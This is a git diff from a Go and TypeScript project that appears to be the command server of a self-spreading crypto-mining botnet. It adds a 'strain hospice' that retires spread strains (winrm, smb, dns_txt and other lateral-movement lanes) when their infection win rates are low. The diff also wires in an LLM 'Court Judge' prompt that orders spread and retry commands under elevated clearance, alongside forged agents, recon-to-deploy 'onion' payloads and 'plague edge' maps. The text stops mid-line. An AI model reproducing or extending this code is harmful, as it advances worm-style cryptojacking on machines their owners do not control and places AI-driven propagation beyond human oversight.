diff --git a/server/internal/ai/commands.go b/server/internal/ai/commands.go index 18d5e3a..345c598 100644 --- a/server/internal/ai/commands.go +++ b/server/internal/ai/commands.go @@ -21,6 +21,7 @@ const ( CmdSpreadGraft = "spread_graft" CmdPersonaTweak = "persona_tweak" CmdEnableErasure = "enable_erasure" + CmdStrainHospice = "strain_hospice" CmdNoop = "noop" ) @@ -38,6 +39,7 @@ var knownCommands = map[string]bool{ CmdSpreadGraft: true, CmdPersonaTweak: true, CmdEnableErasure: true, + CmdStrainHospice: true, CmdNoop: true, } diff --git a/server/internal/ai/court_chamber.go b/server/internal/ai/court_chamber.go index 051b3a8..5a45003 100644 --- a/server/internal/ai/court_chamber.go +++ b/server/internal/ai/court_chamber.go @@ -182,7 +182,8 @@ func BuildCourtChamberJudgePrompt(snap AgentSnapshot, prosecutor, defender, judg system.WriteString(strings.TrimSpace(`You are the AetherForge Court Judge (L4 clearance) for the operator's own stuck fleet hosts. The adversarial chamber has concluded. PROSECUTOR and PUBLIC DEFENDER spoke from real fleet telemetry only. You must weigh their statements and issue a binding verdict with at most 3 commands. -Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop. +Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, strain_hospice, noop. +strain_hospice args: strain_id (string, optional) — retire a chronic low-win spread strain to museum hospice; omit to retire this agent's spread_strain. spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …). skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch. Court-ordered spread_retry_lane and skip_tier execute with L4 clearance. diff --git a/server/internal/ai/court_commands.go b/server/internal/ai/court_commands.go index 5a5704a..82f122a 100644 --- a/server/internal/ai/court_commands.go +++ b/server/internal/ai/court_commands.go @@ -100,7 +100,7 @@ func ResolveSkipTier(args map[string]interface{}) Command { // CourtCommandNeedsRetryElevation reports commands that require L4 before court-ordered retry. func CourtCommandNeedsRetryElevation(cmd Command) bool { switch cmd.Type { - case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers, CmdSpreadGraft: + case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers, CmdSpreadGraft, CmdStrainHospice: return true default: return false diff --git a/server/internal/api/graft_ws.go b/server/internal/api/graft_ws.go index 0388c0b..09870d0 100644 --- a/server/internal/api/graft_ws.go +++ b/server/internal/api/graft_ws.go @@ -115,6 +115,15 @@ func (h *WSHub) ApproveFleetGraft(sourceID, targetID string) (strategy.GraftPoli if joinLane == "" { return strategy.GraftPolicy{}, fmt.Errorf("source agent has no tier-success join_lane") } + sourceStrain := strategy.NormalizeStrainID(source.SpreadStrain) + if sourceStrain == "" { + sourceStrain = strategy.StrainFromSpreadLane(joinLane) + } + if inHospice, err := h.db.IsStrainInHospice(sourceStrain); err != nil { + return strategy.GraftPolicy{}, err + } else if inHospice { + return strategy.GraftPolicy{}, fmt.Errorf("source strain is in hospice (museum archive)") + } hr := h.AgentMiningHashrate(targetID) if hr <= 0 { hr = target.MiningHashrate diff --git a/server/internal/api/server_policy.go b/server/internal/api/server_policy.go index 5167419..5459dcf 100644 --- a/server/internal/api/server_policy.go +++ b/server/internal/api/server_policy.go @@ -28,6 +28,10 @@ type ServerPolicy struct { ErasureLanesEnabled bool // FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests. FleetTorrentEnabled bool + // StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on. + StrainHospiceWinRateThreshold float64 + // StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies. + StrainHospiceMinAttempts int } // TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth. diff --git a/server/internal/api/strain_hospice_test.go b/server/internal/api/strain_hospice_test.go new file mode 100644 index 0000000..6336dfe --- /dev/null +++ b/server/internal/api/strain_hospice_test.go @@ -0,0 +1,183 @@ +package api + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + fleetai "crypto-miner-server/internal/ai" + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" + "crypto-miner-server/internal/strategy" +) + +func TestPostStrainHospiceOperatorRetirement(t *testing.T) { + fh, database, hub, _ := newTestFleetHandler(t) + + strain := strategy.StrainFromSpreadLane("winrm") + cardJSON := `{"id":"c1","spread_strain":"` + strain + `","wins":["docker"],"losses":["wsl","winrm"]}` + _, err := database.UpsertStrainCard("root-1", "agent-1", []byte(cardJSON), db.StoredStrainCard{ + SpreadStrain: strain, SpreadLane: "winrm", Persona: "aggressive", + }) + if err != nil { + t.Fatal(err) + } + + body, _ := json.Marshal(map[string]string{ + "strain_id": strain, + "reason": "dozens of variations that don't work", + }) + req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/strain-hospice", bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + w := httptest.NewRecorder() + fh.PostStrainHospice(w, req) + if w.Code != http.StatusOK { + t.Fatalf("status=%d body=%s", w.Code, w.Body.String()) + } + + ok, err := database.IsStrainInHospice(strain) + if err != nil || !ok { + t.Fatalf("strain not in hospice: ok=%v err=%v", ok, err) + } + rec, err := database.GetStrainHospice(strain) + if err != nil || rec.RetiredBy != string(strategy.StrainRetiredByOperator) { + t.Fatalf("record=%+v err=%v", rec, err) + } + if !strings.Contains(rec.CardJSON, `"wins"`) { + t.Fatalf("lineage card not preserved: %s", rec.CardJSON) + } + + rows, err := database.ListOathLedger(5) + if err != nil || len(rows) == 0 { + t.Fatalf("oath ledger rows=%v err=%v", rows, err) + } + if rows[0].ActionType != db.OathStrainHospice { + t.Fatalf("oath action=%q", rows[0].ActionType) + } + + hub.refreshHospiceBreedingCache() + reg := hub.breedingRegistry + fp := "windows|0|0|0|0|0|127.0.0" + _, bred := reg.RecordLaneWinner(strategy.LaneWinnerInput{ + Fingerprint: fp, SpreadLane: "winrm", + TierOrder: []string{"container"}, PeakHashrate: 100, + }) + if bred { + t.Fatal("hospice lane should not breed") + } +} + +func TestPlayStrainCardBlockedInHospice(t *testing.T) { + fh, database, hub, _ := newTestFleetHandler(t) + strain := strategy.StrainFromSpreadLane("dns_txt") + if err := database.RetireStrain(strain, "operator", "test", `{"spread_strain":"`+strain+`"}`); err != nil { + t.Fatal(err) + } + agent := &models.Agent{ID: "target", Name: "Target", Status: "online", LastSeen: time.Now().UTC()} + if err := database.UpsertAgent(agent); err != nil { + t.Fatal(err) + } + cardJSON := `{"id":"card-1","spread_strain":"` + strain + `","persona":"persuasive","tier_order":["dns_txt"]}` + id, err := database.UpsertStrainCard("root", "src", []byte(cardJSON), db.StoredStrainCard{ + SpreadStrain: strain, SpreadLane: "dns_txt", + }) + if err != nil { + t.Fatal(err) + } + _ = hub + body, _ := json.Marshal(map[string]string{"agent_id": "target", "card_id": id}) + req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/play-strain-card", bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + w := httptest.NewRecorder() + fh.PostPlayStrainCard(w, req) + if w.Code != http.StatusConflict { + t.Fatalf("expected 409, got %d %s", w.Code, w.Body.String()) + } +} + +func TestGraftBlockedFromHospiceSource(t *testing.T) { + fh, database, hub, _ := newTestFleetHandler(t) + hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true, FleetRolesEnabled: true, HashrateGateHPS: 1}) + + strain := strategy.StrainFromSpreadLane("winrm") + if err := database.RetireStrain(strain, "operator", "test", "{}"); err != nil { + t.Fatal(err) + } + source := &models.Agent{ + ID: "src", Name: "Src", Status: "online", JoinLane: "winrm", + SpreadStrain: strain, MiningHashrate: 500, LastSeen: time.Now().UTC(), + } + target := &models.Agent{ + ID: "tgt", Name: "Tgt", Status: "online", MiningHashrate: 500, LastSeen: time.Now().UTC(), + } + for _, a := range []*models.Agent{source, target} { + if err := database.UpsertAgent(a); err != nil { + t.Fatal(err) + } + } + hub.mu.Lock() + hub.agentLiveTelemetry["tgt"] = map[string]interface{}{"mining_hashrate": 500.0} + hub.mu.Unlock() + + body, _ := json.Marshal(map[string]string{"source_agent_id": "src", "target_agent_id": "tgt"}) + req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/graft", bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + w := httptest.NewRecorder() + fh.PostFleetGraft(w, req) + var resp map[string]interface{} + _ = json.Unmarshal(w.Body.Bytes(), &resp) + if resp["success"] == true { + t.Fatalf("graft should fail for hospice source: %s", w.Body.String()) + } +} + +func TestMaybeAutoRetireLowWinStrains(t *testing.T) { + _, database, hub, _ := newTestFleetHandler(t) + hub.SetServerPolicy(ServerPolicy{ + AIControlEnabled: true, + StrainHospiceWinRateThreshold: 0.2, + StrainHospiceMinAttempts: 3, + }) + strain := "#deadbeef" + cardJSON := `{"spread_strain":"` + strain + `","wins":["a"],"losses":["b","c","d","e"]}` + _, err := database.UpsertStrainCard("r1", "a1", []byte(cardJSON), db.StoredStrainCard{SpreadStrain: strain}) + if err != nil { + t.Fatal(err) + } + hub.MaybeAutoRetireLowWinStrains() + ok, err := database.IsStrainInHospice(strain) + if err != nil || !ok { + t.Fatalf("expected AI auto hospice, ok=%v err=%v", ok, err) + } +} + +func TestFleetAIExecutorStrainHospiceCourtCommand(t *testing.T) { + _, database, hub, _ := newTestFleetHandler(t) + strain := strategy.StrainFromSpreadLane("smb") + ag := &models.Agent{ + ID: "court-agent", Name: "Court", Status: "online", + SpreadStrain: strain, JoinLane: "smb", LastSeen: time.Now().UTC(), + } + if err := database.UpsertAgent(ag); err != nil { + t.Fatal(err) + } + exec := &FleetAIExecutor{Hub: hub} + sum, err := exec.Execute("court-agent", fleetai.Command{ + Type: fleetai.CmdStrainHospice, + Args: map[string]interface{}{"reason": "court L4 hospice vote"}, + }) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(sum, "strain_hospice:") { + t.Fatalf("unexpected summary %q", sum) + } + ok, _ := database.IsStrainInHospice(strain) + if !ok { + t.Fatal("court command should retire strain") + } +} diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index f871ff2..6e34edb 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -18,6 +18,8 @@ import ( "crypto-miner-server/internal/atlas" "crypto-miner-server/internal/db" "crypto-miner-server/internal/epidemiology" + "crypto-miner-server/internal/mining" + "crypto-miner-server/internal/miningsurgery" "crypto-miner-server/internal/models" "crypto-miner-server/internal/pool" "crypto-miner-server/internal/strategy" @@ -175,6 +177,8 @@ type WSHub struct { subnetAutopsies map[string]atlas.SubnetAutopsyPacket subnetGossipWhispers map[string][]atlas.GossipHint epidemiology *epidemiology.Tracker + miningSurgery *miningsurgery.Tracker + contingencyOrch *mining.ContingencyOrchestrator pingIntervalSec int fleetSecret string // baked into forged agents; verified on WS connect eventNotifier *alerts.Notifier @@ -227,6 +231,7 @@ func NewWSHub(database *db.Database) *WSHub { agentSubnet: make(map[string]string), breedingRegistry: strategy.NewBreedingRegistry(), epidemiology: epidemiology.NewTracker(), + miningSurgery: miningsurgery.NewTracker(), pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}), beaconLastSeen: make(map[string]time.Time), beaconCmdQueue: make(map[string][]BeaconCommand), @@ -234,6 +239,9 @@ func NewWSHub(database *db.Database) *WSHub { pingIntervalSec: 30, } h.clearance = NewClearanceManager(h) + if database != nil { + h.refreshHospiceBreedingCache() + } // Background stale-agent sweep: // 3 minutes old but the row still says "online", force it offline. @@ -1034,6 +1042,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } } h.attachEpidemiologyFix(resp, agentID) + h.attachMiningSelfSurgery(resp, agentID) + h.attachContingencyPolicy(resp) return resp }())}) @@ -1166,6 +1176,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { ParentAgentID string `json:"parent_agent_id,omitempty"` SpreadGeneration int `json:"spread_generation,omitempty"` SpreadStrain string `json:"spread_strain,omitempty"` + ContingencyDepth int `json:"contingency_depth,omitempty"` FleetRole string `json:"fleet_role,omitempty"` SeedPressure float64 `json:"seed_pressure,omitempty"` HashratePressure float64 `json:"hashrate_pressure,omitempty"` @@ -1338,6 +1349,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if stats.SpreadStrain != "" { broadcast["spread_strain"] = stats.SpreadStrain } + if stats.ContingencyDepth > 0 { + broadcast["contingency_depth"] = stats.ContingencyDepth + } if stats.FleetRole != "" { broadcast["fleet_role"] = stats.FleetRole } @@ -1418,6 +1432,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { }) } h.observeEpidemiologyFromStats(agentID, epiStats) + h.observeMiningSelfSurgeryFromStats(agentID, epiStats) h.queueStatsBroadcast(broadcast) case "scout_report": @@ -1649,6 +1664,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { h.ingestStrategyFromPayload(agentID, payload) h.queueStatsBroadcast(payload) + case "self_surgery_report": + if agentID == "" { + continue + } + h.handleSelfSurgeryReport(agentID, msg.Payload) + + case "onion_miner_log": + if agentID == "" { + continue + } + h.handleOnionMinerLog(agentID, msg.Payload) + case "atlas_gossip": if agentID == "" { continue diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index 78d2b4a..1de306e 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -270,6 +270,12 @@ func (d *Database) migrate() error { if err := d.ensureStrainMemoryTable(); err != nil { return fmt.Errorf("strain_memory migration: %w", err) } + if err := d.ensureStrainHospiceTable(); err != nil { + return fmt.Errorf("strain_hospice migration: %w", err) + } + if err := d.ensureOathLedgerTable(); err != nil { + return fmt.Errorf("oath_ledger migration: %w", err) + } if err := d.ensureSeerTables(); err != nil { return fmt.Errorf("seer migration: %w", err) } diff --git a/server/internal/db/strain_hospice.go b/server/internal/db/strain_hospice.go new file mode 100644 index 0000000..821e7a4 --- /dev/null +++ b/server/internal/db/strain_hospice.go @@ -0,0 +1,177 @@ +package db + +import ( + "database/sql" + "errors" + "strings" + "time" +) + +// StrainHospiceRecord is a retired spread strain preserved for museum read-only lineage. +type StrainHospiceRecord struct { + StrainID string + RetiredAt time.Time + RetiredBy string + Reason string + CardJSON string +} + +func (d *Database) ensureStrainHospiceTable() error { + _, err := d.Exec(`CREATE TABLE IF NOT EXISTS strain_hospice ( + strain_id TEXT PRIMARY KEY, + retired_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP, + retired_by TEXT NOT NULL, + reason TEXT NOT NULL DEFAULT '', + card_json TEXT NOT NULL DEFAULT '{}' + )`) + if err != nil { + return err + } + _, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_strain_hospice_retired_at ON strain_hospice(retired_at)`) + return nil +} + +// RetireStrain archives a strain to hospice (idempotent). +func (d *Database) RetireStrain(strainID, retiredBy, reason, cardJSON string) error { + if d == nil { + return errors.New("database unavailable") + } + strainID = normalizeStrainID(strainID) + if strainID == "" { + return errors.New("strain_id required") + } + retiredBy = strings.TrimSpace(retiredBy) + if retiredBy == "" { + return errors.New("retired_by required") + } + if strings.TrimSpace(cardJSON) == "" { + cardJSON = "{}" + } + now := time.Now().UTC().Format(time.RFC3339) + _, err := d.Exec( + `INSERT INTO strain_hospice (strain_id, retired_at, retired_by, reason, card_json) + VALUES (?, ?, ?, ?, ?) + ON CONFLICT(strain_id) DO NOTHING`, + strainID, now, retiredBy, strings.TrimSpace(reason), cardJSON, + ) + return err +} + +// IsStrainInHospice reports whether a strain is archived. +func (d *Database) IsStrainInHospice(strainID string) (bool, error) { + if d == nil { + return false, nil + } + strainID = normalizeStrainID(strainID) + if strainID == "" { + return false, nil + } + var n int + err := d.QueryRow(`SELECT 1 FROM strain_hospice WHERE strain_id = ? LIMIT 1`, strainID).Scan(&n) + if errors.Is(err, sql.ErrNoRows) { + return false, nil + } + return err == nil, err +} + +// GetStrainHospice returns one hospice row. +func (d *Database) GetStrainHospice(strainID string) (*StrainHospiceRecord, error) { + strainID = normalizeStrainID(strainID) + if strainID == "" { + return nil, sql.ErrNoRows + } + row := d.QueryRow( + `SELECT strain_id, retired_at, retired_by, reason, card_json FROM strain_hospice WHERE strain_id = ?`, + strainID, + ) + return scanStrainHospice(row) +} + +// ListStrainHospice returns retired strains newest first. +func (d *Database) ListStrainHospice(limit int) ([]StrainHospiceRecord, error) { + if limit <= 0 { + limit = 100 + } + rows, err := d.Query( + `SELECT strain_id, retired_at, retired_by, reason, card_json + FROM strain_hospice ORDER BY retired_at DESC LIMIT ?`, limit, + ) + if err != nil { + return nil, err + } + defer rows.Close() + var out []StrainHospiceRecord + for rows.Next() { + rec, err := scanStrainHospice(rows) + if err != nil { + return nil, err + } + out = append(out, *rec) + } + return out, rows.Err() +} + +// HospiceStrainSet returns a lookup set of retired strain ids. +func (d *Database) HospiceStrainSet() (map[string]bool, error) { + rows, err := d.ListStrainHospice(500) + if err != nil { + return nil, err + } + out := make(map[string]bool, len(rows)) + for _, r := range rows { + out[r.StrainID] = true + } + return out, nil +} + +func normalizeStrainID(strain string) string { + s := strings.TrimSpace(strings.ToLower(strain)) + if s == "" { + return "" + } + if !strings.HasPrefix(s, "#") && len(s) == 6 { + s = "#" + s + } + return s +} + +type strainHospiceScanner interface { + Scan(dest ...interface{}) error +} + +func scanStrainHospice(row strainHospiceScanner) (*StrainHospiceRecord, error) { + var rec StrainHospiceRecord + var retiredAt string + if err := row.Scan(&rec.StrainID, &retiredAt, &rec.RetiredBy, &rec.Reason, &rec.CardJSON); err != nil { + return nil, err + } + rec.StrainID = normalizeStrainID(rec.StrainID) + rec.RetiredAt = parseSQLiteTime(retiredAt) + return &rec, nil +} + +// CardJSONForStrain finds lineage card JSON for a strain from strain_cards or hospice. +func (d *Database) CardJSONForStrain(strainID string) (string, error) { + strainID = normalizeStrainID(strainID) + if strainID == "" { + return "{}", nil + } + if rec, err := d.GetStrainHospice(strainID); err == nil && rec != nil && strings.TrimSpace(rec.CardJSON) != "" { + return rec.CardJSON, nil + } + row := d.QueryRow( + `SELECT card_json FROM strain_cards WHERE LOWER(spread_strain) = ? ORDER BY peak_hashrate DESC LIMIT 1`, + strainID, + ) + var cardJSON string + if err := row.Scan(&cardJSON); err != nil { + if errors.Is(err, sql.ErrNoRows) { + return "{}", nil + } + return "", err + } + if strings.TrimSpace(cardJSON) == "" { + return "{}", nil + } + return cardJSON, nil +} diff --git a/server/internal/strategy/breeding.go b/server/internal/strategy/breeding.go index b321c20..c7a23be 100644 --- a/server/internal/strategy/breeding.go +++ b/server/internal/strategy/breeding.go @@ -44,9 +44,10 @@ type LaneWinnerInput struct { // BreedingRegistry tracks lane-specific winners and crossbred siblings per fingerprint. type BreedingRegistry struct { - mu sync.RWMutex - lanes map[string]map[string]LaneWinner - bred map[string]BredPhenotype + mu sync.RWMutex + lanes map[string]map[string]LaneWinner + bred map[string]BredPhenotype + hospice map[string]bool } func NewBreedingRegistry() *BreedingRegistry { @@ -56,6 +57,25 @@ func NewBreedingRegistry() *BreedingRegistry { } } +// SetHospiceStrains updates the retired-strain set used to skip breeding parents. +func (r *BreedingRegistry) SetHospiceStrains(strains map[string]bool) { + if r == nil { + return + } + r.mu.Lock() + defer r.mu.Unlock() + if len(strains) == 0 { + r.hospice = nil + return + } + r.hospice = make(map[string]bool, len(strains)) + for k, v := range strains { + if v { + r.hospice[NormalizeStrainID(k)] = true + } + } +} + // RecordLaneWinner stores a lane winner and crossbreeds when two distinct lanes exist. func (r *BreedingRegistry) RecordLaneWinner(in LaneWinnerInput) (BredPhenotype, bool) { fp := strings.TrimSpace(in.Fingerprint) @@ -63,6 +83,9 @@ func (r *BreedingRegistry) RecordLaneWinner(in LaneWinnerInput) (BredPhenotype, if r == nil || fp == "" || lane == "" || len(in.TierOrder) == 0 { return BredPhenotype{}, false } + if LaneInHospice(lane, r.hospiceSnapshot()) { + return BredPhenotype{}, false + } winner := LaneWinner{ SpreadLane: lane, TierOrder: append([]string(nil), in.TierOrder...), @@ -81,7 +104,7 @@ func (r *BreedingRegistry) RecordLaneWinner(in LaneWinnerInput) (BredPhenotype, if len(r.lanes[fp]) < 2 { return BredPhenotype{}, false } - bred := breedLaneWinners(fp, r.lanes[fp]) + bred := breedLaneWinners(fp, r.lanes[fp], r.hospice) if len(bred.TierOrder) == 0 { return BredPhenotype{}, false } @@ -115,9 +138,28 @@ func (r *BreedingRegistry) LaneCount(fingerprint string) int { return len(r.lanes[fp]) } -func breedLaneWinners(fingerprint string, lanes map[string]LaneWinner) BredPhenotype { +func (r *BreedingRegistry) hospiceSnapshot() map[string]bool { + if r == nil { + return nil + } + r.mu.RLock() + defer r.mu.RUnlock() + if len(r.hospice) == 0 { + return nil + } + out := make(map[string]bool, len(r.hospice)) + for k, v := range r.hospice { + out[k] = v + } + return out +} + +func breedLaneWinners(fingerprint string, lanes map[string]LaneWinner, hospice map[string]bool) BredPhenotype { parents := make([]LaneWinner, 0, len(lanes)) for _, w := range lanes { + if LaneInHospice(w.SpreadLane, hospice) { + continue + } parents = append(parents, w) } sort.Slice(parents, func(i, j int) bool { diff --git a/server/internal/strategy/hospice.go b/server/internal/strategy/hospice.go new file mode 100644 index 0000000..c1da547 --- /dev/null +++ b/server/internal/strategy/hospice.go @@ -0,0 +1,94 @@ +package strategy + +import ( + "strings" +) + +const ( + // DefaultHospiceWinRateThreshold retires strains below 15% win rate. + DefaultHospiceWinRateThreshold = 0.15 + // DefaultHospiceMinAttempts requires enough spread outcomes before auto-retire. + DefaultHospiceMinAttempts = 5 +) + +// StrainRetiredBy identifies who sent a strain to hospice. +type StrainRetiredBy string + +const ( + StrainRetiredByOperator StrainRetiredBy = "operator" + StrainRetiredByAI StrainRetiredBy = "ai" + StrainRetiredByCourt StrainRetiredBy = "court" +) + +// StrainSpreadStats aggregates epidemiology wins/losses for one spread strain. +type StrainSpreadStats struct { + StrainID string + Wins int + Losses int +} + +// NormalizeStrainID lowercases #RRGGBB strain identifiers. +func NormalizeStrainID(strain string) string { + s := strings.TrimSpace(strings.ToLower(strain)) + if s == "" { + return "" + } + if !strings.HasPrefix(s, "#") && len(s) == 6 { + s = "#" + s + } + return s +} + +// StrainFromSpreadLane maps a join/spread lane to its stable strain color id. +func StrainFromSpreadLane(lane string) string { + if s := NormalizeStrainID(SpreadStrainFromJoinLane(lane)); s != "" { + return s + } + return NormalizeStrainID(lane) +} + +// LaneInHospice reports whether a spread/join lane's strain is retired. +func LaneInHospice(lane string, hospice map[string]bool) bool { + if len(hospice) == 0 { + return false + } + return hospice[StrainFromSpreadLane(lane)] +} + +// StrainInHospice reports whether a strain id is in the hospice set. +func StrainInHospice(strain string, hospice map[string]bool) bool { + if len(hospice) == 0 { + return false + } + return hospice[NormalizeStrainID(strain)] +} + +// StrainWinRate returns wins / (wins + losses); 1.0 when no attempts recorded. +func StrainWinRate(wins, losses int) float64 { + total := wins + losses + if total == 0 { + return 1.0 + } + return float64(wins) / float64(total) +} + +// ShouldAutoRetireStrain is true when AI hospice policy applies to low performers. +func ShouldAutoRetireStrain(wins, losses int, threshold float64, minAttempts int) bool { + total := wins + losses + if total < minAttempts || minAttempts <= 0 { + return false + } + if threshold <= 0 { + threshold = DefaultHospiceWinRateThreshold + } + return StrainWinRate(wins, losses) < threshold +} + +// PersonaPrimaryLane returns the first spread lane for a persona preset. +func PersonaPrimaryLane(persona string) string { + order := PersonaSpreadTierOrder(persona) + if len(order) == 0 { + return "" + } + return strings.TrimSpace(order[0]) +} diff --git a/server/internal/strategy/hospice_test.go b/server/internal/strategy/hospice_test.go new file mode 100644 index 0000000..00ccdf3 --- /dev/null +++ b/server/internal/strategy/hospice_test.go @@ -0,0 +1,26 @@ +package strategy + +import "testing" + +func TestShouldAutoRetireStrain(t *testing.T) { + if !ShouldAutoRetireStrain(1, 9, 0.15, 5) { + t.Fatal("10% win rate with 10 attempts should retire at 15% threshold") + } + if ShouldAutoRetireStrain(1, 3, 0.15, 5) { + t.Fatal("min attempts not met") + } + if StrainWinRate(0, 0) != 1.0 { + t.Fatalf("empty stats should be 1.0, got %v", StrainWinRate(0, 0)) + } +} + +func TestLaneInHospice(t *testing.T) { + strain := StrainFromSpreadLane("winrm") + hospice := map[string]bool{strain: true} + if !LaneInHospice("winrm", hospice) { + t.Fatalf("winrm strain %s should be in hospice", strain) + } + if LaneInHospice("docker", hospice) { + t.Fatal("docker lane should not match winrm hospice entry") + } +} diff --git a/server/web/src/components/Visual/3D/FleetTopologyMap.tsx b/server/web/src/components/Visual/3D/FleetTopologyMap.tsx index a0f8bd4..c3e953f 100644 --- a/server/web/src/components/Visual/3D/FleetTopologyMap.tsx +++ b/server/web/src/components/Visual/3D/FleetTopologyMap.tsx @@ -53,10 +53,11 @@ function StrainNodeMesh({ onGoalPath: boolean; }) { const pulseRef = useRef(null); - const isSuccess = node.branchStatus === 'success' || node.miningContinuity === 'continuous'; - const isFailed = node.branchStatus === 'failed' || node.miningContinuity === 'interrupted'; + const isMuseum = node.inHospice === true; + const isSuccess = !isMuseum && (node.branchStatus === 'success' || node.miningContinuity === 'continuous'); + const isFailed = !isMuseum && (node.branchStatus === 'failed' || node.miningContinuity === 'interrupted'); const baseColor = node.color; - const emissive = isFailed ? '#331111' : baseColor; + const emissive = isMuseum ? '#2a2a30' : isFailed ? '#331111' : baseColor; const intensity = onGoalPath ? nodeEmissiveIntensity(node) * 1.4 : nodeEmissiveIntensity(node); const radius = 0.35 + Math.min(node.hostCount, 12) * 0.04; const opacity = nodeWireOpacity(node); @@ -114,7 +115,7 @@ function StrainEdgeLine({ return ( - {success && !failed && ( + {success && !failed && edge.weight > 0 && ( buildEpidemiologyGraph(agents), [agents]); +export default function FleetTopologyMap({ + agents, + hospiceStrains, +}: { + agents: Agent[]; + hospiceStrains?: string[]; +}) { + const graph = useMemo( + () => buildEpidemiologyGraph(agents, hospiceStrains), + [agents, hospiceStrains], + ); const layouts = useMemo(() => layoutStrainNodes(graph.nodes), [graph.nodes]); const positionMap = useMemo(() => { const map = new Map(); @@ -138,6 +148,7 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) { }, [layouts]); const goalSet = useMemo(() => new Set(graph.goalPath), [graph.goalPath]); + const museumStrains = graph.nodes.filter((n) => n.inHospice).length; const plagueEdges = graph.edges.filter((e) => e.weight > 0).length; const continuousStrains = graph.nodes.filter((n) => n.miningContinuity === 'continuous').length; const interrupted = graph.interrupted.length; @@ -171,6 +182,7 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) { > STRAIN_EPIDEMIOLOGY // {graph.nodes.length} STRAINS · {plagueEdges} PLAGUE_EDGES + {museumStrains > 0 && ` · ${museumStrains} MUSEUM`} {graph.goalPath.length > 0 && ` · GOAL_PATH ${graph.goalPath.length}`} {continuousStrains > 0 && ` · ${continuousStrains} MINING`} {interrupted > 0 && ` · ${interrupted} INTERRUPTED`} diff --git a/server/web/src/help/fleetTopologyEpidemiology.test.ts b/server/web/src/help/fleetTopologyEpidemiology.test.ts index 1b20ce8..bfcb940 100644 --- a/server/web/src/help/fleetTopologyEpidemiology.test.ts +++ b/server/web/src/help/fleetTopologyEpidemiology.test.ts @@ -57,6 +57,27 @@ describe('buildEpidemiologyGraph', () => { expect(winrm?.hostCount).toBe(2); }); + it('marks hospice strains as museum gray without plague edges', () => { + const strain = '#aabbcc'; + const graph = buildEpidemiologyGraph( + [ + mkAgent({ id: 'a1', spread_strain: strain, join_lane: 'winrm' }), + mkAgent({ + id: 'a2', + spread_strain: '#112233', + parent_agent_id: 'a1', + join_lane: 'smb', + spread_generation: 1, + }), + ], + [strain], + ); + const museum = graph.nodes.find((n) => n.id === strain); + expect(museum?.inHospice).toBe(true); + expect(museum?.color).toBe('#5a5a66'); + expect(graph.edges.every((e) => e.weight === 0)).toBe(true); + }); + it('weights edges by successful parent spreads only', () => { const parentStrain = '#parent'; const childStrain = '#child'; diff --git a/server/web/src/help/fleetTopologyEpidemiology.ts b/server/web/src/help/fleetTopologyEpidemiology.ts index d581039..e614050 100644 --- a/server/web/src/help/fleetTopologyEpidemiology.ts +++ b/server/web/src/help/fleetTopologyEpidemiology.ts @@ -24,10 +24,13 @@ export interface MiningInterruptState { parentAgentId?: string; } +export const HOSPICE_MUSEUM_COLOR = '#5a5a66'; + export interface StrainNode { id: string; label: string; color: string; + inHospice?: boolean; hostCount: number; onlineCount: number; spreadGeneration: number; @@ -278,7 +281,16 @@ export function computeGoalPath(nodes: StrainNode[], edges: StrainEdge[]): strin * Build strain epidemiology graph from fleet agents. * Nodes aggregate hosts per strain; edges count successful parent→child spreads only. */ -export function buildEpidemiologyGraph(agents: Agent[]): EpidemiologyGraph { +export function buildEpidemiologyGraph( + agents: Agent[], + hospiceStrains?: Set | string[], +): EpidemiologyGraph { + const hospiceSet = new Set(); + if (hospiceStrains instanceof Set) { + for (const s of hospiceStrains) hospiceSet.add(s.trim().toLowerCase()); + } else if (hospiceStrains) { + for (const s of hospiceStrains) hospiceSet.add(s.trim().toLowerCase()); + } const agentsById = new Map(agents.map((a) => [a.id, a])); const strainBuckets = new Map(); @@ -302,10 +314,12 @@ export function buildEpidemiologyGraph(agents: Agent[]): EpidemiologyGraph { const failedSpreads = hosts.filter(isFailedSpread).length; const joinLane = hosts.find((h) => h.join_lane)?.join_lane; const maxGen = Math.max(0, ...hosts.map((h) => h.spread_generation ?? 0)); + const inHospice = hospiceSet.has(strain); nodes.push({ id: strain, - label: strainLabel(strain, joinLane, 